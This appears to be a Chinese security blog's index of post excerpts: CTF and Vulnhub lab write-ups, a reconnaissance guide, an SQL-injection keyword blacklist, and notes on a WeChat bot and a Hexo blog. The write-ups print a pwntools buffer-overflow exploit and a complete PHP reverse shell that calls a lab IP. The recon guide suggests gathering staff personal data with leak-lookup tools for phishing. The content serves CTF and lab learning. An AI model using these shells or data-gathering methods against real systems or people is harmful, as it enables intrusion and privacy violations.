来源CTFshow
检查安全设置和类型
拿到先放到checksec里面检查安全设置和类型:

可以看到没有开启保护,并且是32位小端序
IDA
丢进ida,发现get函数,直接检查,发现s这个字符串长度为九个字节,但是函数却允许输入50个字节,直接点击s可以进入下图界面检查:

可以看到,从s的首地址00000000(相对)处开辟了九个字节的空间,即到-00000009,又因为栈是向下生长(向着正生长),而且get允许输入超过九个字节的字符,我们就可以覆盖r处的返回地址
查看stack函数的地址为0x804850F,所以有payload和exp如下:
from pwn import *
p = remote("pwn.challenge.ctf.show",28245)
payload=b"a"*13+p32(0x804850F)
p.send(payload)
p.interactive()
得到shell后即可查看flag文件
Read More
symfonos-1
来源:Vulnhub
nmap -O -A -Pn -sV -sS -p- 192.168.36.0/24 -vv -exclude 192.168.36.1
发现目标192.168.36.129
开启了80,445,22,25
等端口,对应web,smb,ssh,smtp等服务
访问80端口,发现有网页,尝试爆破目录无果
使用命令
smbclient \\\\192.168.36.129\\anonymous
尝试匿名登录smb服务(空密码)
成功登录后dir查看目录发现有一个attention.txt文件:

get attention.txt
将文件下载到当前目录,使用cat查看内容:

发现了三个可能的密码:
epidioko
qwerty
baseball
Read More
BTRsys-2
来源:Vulnhub
难度:Easy

fscan扫描可知开放了ftp和网页端,其中ftp允许匿名登录,但尝试登陆后没有文件,所以先将注意力放在web页面,对其进行目录扫描发现robots.txt,并发现隐藏的/wordpress目录,访问发现是wordpress博客,在页面中找到登录地址,使用弱口令admin/admin进入后台
在后台一番查找,尝试以文件上传等方式getshell均失败,看提示得知可以通过修改博客的主题外观插件来getshell,我们先修改其主题外观插件的404页面
使用在线生成shell网站:https://shell.nctry.com/
生成php反弹shell:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.36.132';
$port = 10000;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
网站上还有很多其他的反弹shell,实战时可根据自己需求选择,修改404页面结果如下:

我们使用nc -lvnp 10000
先开启监听,然后访问一个不存在的页面以触发404页面
官方做法:访问插件404页面路径位置 “/wp-content/themes/twentyfourteen/404.php”
即可获得一个反弹shell
随后使用两个经典linux提权脚本:
1.linux-exploit-suggester
https://github.com/The-Z-Labs/linux-exploit-suggester
2.linpeas.sh
https://github.com/peass-ng/PEASS-ng/releases
按照脚本给出的提权建议一个个尝试即可成功提权
Read More
信息搜集
信息搜集大致可分为两部分,被动信息搜集和主动信息搜集,主要需要搜集目标的组织架构,资产信息和人员信息等,一次好的信息搜集是渗透测试成功的必备基础
被动信息搜集
被动信息搜集又称开源情报,是指能在网上使用各种开放的被动的方法来进行的信息搜集,比如whois查询,dns解析查询,子域名证书查询,icp备案查询等等,这类搜集往往是正常的交互,目标几乎不会有感知
组织架构信息
我们可以使用小蓝本,天眼查,企查查等平台来查询目标的相关组织架构,资产要精确定位,如子公司,孙公司,一般选择控股占比%50以上的单位,并要确认是否目标单位确认资产
这里使用企查查的股权穿透图,可以看到这家公司的组织架构情况,可以看到,这家公司完全由一个股东掌握,旗下没有子公司和其他组织架构:

在天眼查和爱企查上得到了相同的结果,可以基本确定这个企业只有这一家公司
同时我们还可以获得人员的一些相关信息,比如老板的姓名,电话,邮箱,公司的官网等,为下一步的资产搜集和钓鱼做准备
还可进入官网,搜集相关的电话和联系方式,结合这些信息和SGK工具,基本能得到一些人员的个人敏感信息,接下来可以检查以下这些信息,筛选处有效的供下面的流程使用

资产搜集
来到了比较重要的部分,在这里我们开始搜集暴露在公网上可以被访问到的服务器等资产,这些资产,这些资产的质量参差不齐,需要我们筛选
绕过CDN
有的网站可能会做cdn防护,将自己的真实ip隐藏起来,我们可以通过一些方法绕过cdn来获取真实ip
1.邮箱地址,如果目标有类似验证码等邮件服务,可以通过查看邮件的源ip来发现真实ip,因为邮件服务器一般不上cdn
2.phpinfo文件,phpinfo文件的server_addr字段中可能写有真实的ip地址,测试过程中可以尝试获取这个文件
3.分站和子域名,有些网站会用cdn来保护主站,但是没有保护分站
4.国外访问获取真实ip地址,有些网站会针对国内ip进行防护,所以使用国外ip访问可以获取真实ip
5.域名历史解析记录,有些网站可能之前没有上cdn,解析记录了之前的真实ip
6.有的网站有app,app里的请求可能是真实ip
Read More
Sql注入
1.常见的SQL注入漏洞主要是由于程序开发过程中不注意规范书写Sql语句以及对特殊字符的不严格过滤,从而导致客户端可以通过全局变量POST和GET提交恶意代码。
2.Fix:基于黑名单、转义、报错
过滤
$filter = "regexp|from|count|procedure|and|ascii|substr|substring|left|right|union|if|case|pow|exp|order|sleep|benchmark|into|load|outfile|dumpfile|load_file|join|show|select|update|set|concat|delete|alter|insert|create|union|or|drop|not|for|join|is|between|group_concat|like|where|user|ascii|greatest|mid|substr|left|right|char|hex|ord|case|limit|conv|table|mysql_history|flag|count|rpad|\&|\*|\.|-";
if((preg_match("/".$filter."/is",$username)== 1) || (preg_match("/".$filter."/is",$password)== 1)){
die();
}
转义
详见EasySQL加固题,这里提供几个函数:
addslashes()
PS:PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on, 实际上所有的 GET、POST 和 COOKIE 数据都用被 addslashes() 了。 不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测
控制错误信息:
php代码开头添加语句:error_reporting(0);
Read More
Here's something encrypted, password is required to continue reading.
Read More
鸣谢
xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io
简述
因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/ALinuxSimpleWxbot/
帮助/功能文档
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信
改昵称必看(重要)
roomname 群昵称 新老群成员可以使用这个修改在数据库里的群昵称,方便机器人称呼和统计最后发言时间,此功能只有在自己修改了群昵称后需要操作一次
username 群昵称 此指令可以修改在数据库里的微信昵称,如果机器人没有提示请不要操作
以上两条指令,如无必要请不要操作,并且不要同时修改群昵称和微信昵称,不然机器人可能会坏掉
常规指令
help 显示本帮助文档
last 显示本人最后发言时间
search 某人 输出某人的最后发言时间
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈
Read More
鸣谢
xiaozhao为本项目的测试工作给予了很大帮助,感谢
这里是他的博客地址:https://aaaaaaamua.github.io
简述
因为实验室群需要统计最后发言时间,于是写了一个微信机器人,代码和注意事项已经存放在github上,这里仅作个人记录,并备份主程序和部分程序代码
项目地址:https://github.com/hustler0000/AWindowsSimpleWxbot/
帮助/功能文档
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令,机器人每天会在群内推送新闻消息,每个小时都会自动微信发送存活信息到我微信,还会每月定时提醒和清理未发言的成员,这个版本比linux版本要强大,但问题是微信版本有限制
机器人会默默记下群成员的最后发言时间,@机器人发消息可以触发指令
常规指令:
help 显示本帮助文档
last 显示本人最后发言时间
search 路人甲,路人乙 输出一个或多个成员的最后发言时间的最后发言时间,要搜索的每个成员之间用英文逗号隔开
all 输出一个文件,里面是所有人的最后发言时间
check 检查机器人存活状态
feedback 反馈内容 发送反馈
注意事项
注意!在群里要积极发言哦!每个月25号会在群内通知这个月还没有发言过的群成员,每个月最后一天清除群内未发言群成员,希望大家珍惜在群里的机会呀!
当有群成员使用发送反馈时,机器人会向你的主微信账号发送反馈内容,当有新群员加入并发言时,机器人会自动记录,如果新人一个月没有发言也将被移出
为了方便地手动操作数据库,还有一个sqlop.py文件,这个python程序提供了简单管理sqlite数据库的条件,运行该程序,并输入相应数据库语句来对你的数据库进行操作。
用get请求访问服务器8080端口下的/check 路径可以检查机器人是否掉线
Read More
简述
因为想总结一下博客的搭建过程,但是忘记都改了什么地方,所以干脆直接重新搭建一次好了
基本安装
首先我们要在设备上安装nodejs,我这里使用的是termux环境,其他linux环境和windows环境应该大同小异,执行以下命令以安装基础包:
pkg install nodejs
然后安装hexo,这里是hexo官方的安装方法
npm install hexo-cli -g
hexo init blog
cd blog
npm install
hexo server
主题安装
这里安装了freemind-bithack这个主题,后面我们会改动这个主题,使其更加实用
安装命令:
cd blog/theme
git clone https://github.com/Ares-X/hexo-theme-freemind.bithack
mv hexo-theme-freemind.bithack freemind.bithack
npm install hexo-tag-bootstrap --save
npm install hexo-generator-search --save
Read More